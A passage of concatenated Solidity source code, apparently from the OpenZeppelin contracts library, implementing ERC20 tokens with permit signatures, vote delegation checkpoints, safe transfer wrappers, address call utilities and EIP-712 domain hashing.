`using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-ERC20Permit.sol"; import "../../../utils/math/Math.sol"; import "../../../utils/math/SafeCast.sol"; import "../../../utils/cryptography/ECDSA.sol"; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; library ERC20Metadata { function bytes32ToString(bytes32 x) private pure returns (string memory) { bytes memory bytesString = new bytes(32); uint256 charCount = 0; for (uint256 j = 0; j < 32; j++) { bytes1 char = x[j]; if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } // calls an external view token contract method that returns a symbol or name, and parses the output into a string function callAndParseStringReturn(address token, bytes4 selector) private view returns (string memory) { (bool success, bytes memory data) = token.staticcall(abi.encodeWithSelector(selector)); // if not implemented, or returns empty data, return empty string if (!success || data.length == 0) { return ''; } // bytes32 data always has length 32 if (data.length == 32) { bytes32 decoded = abi.decode(data, (bytes32)); return bytes32ToString(decoded); } else if (data.length > 64) { return abi.decode(data, (string)); } return ''; } // attempts to extract the token symbol. if it does not implement symbol, returns a symbol derived from the address function tokenSymbol(address token) external view returns (string memory) { string memory symbol = callAndParseStringReturn(token, IERC20Metadata.symbol.selector); if (bytes(symbol).length == 0) { // fallback to 6 uppercase hex of address return Strings.toHexString(uint256(keccak256(abi.encode(token))), 32); } return symbol; } // attempts to extract the token name. if it does not implement name, returns a name derived from the address function tokenName(address token) external view returns (string memory) { string memory name = callAndParseStringReturn(token, IERC20Metadata.name.selector); if (bytes(name).length == 0) { // fallback to full hex of address return Strings.toHexString(uint256(keccak256(abi.encode(token))), 32); } return name; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function 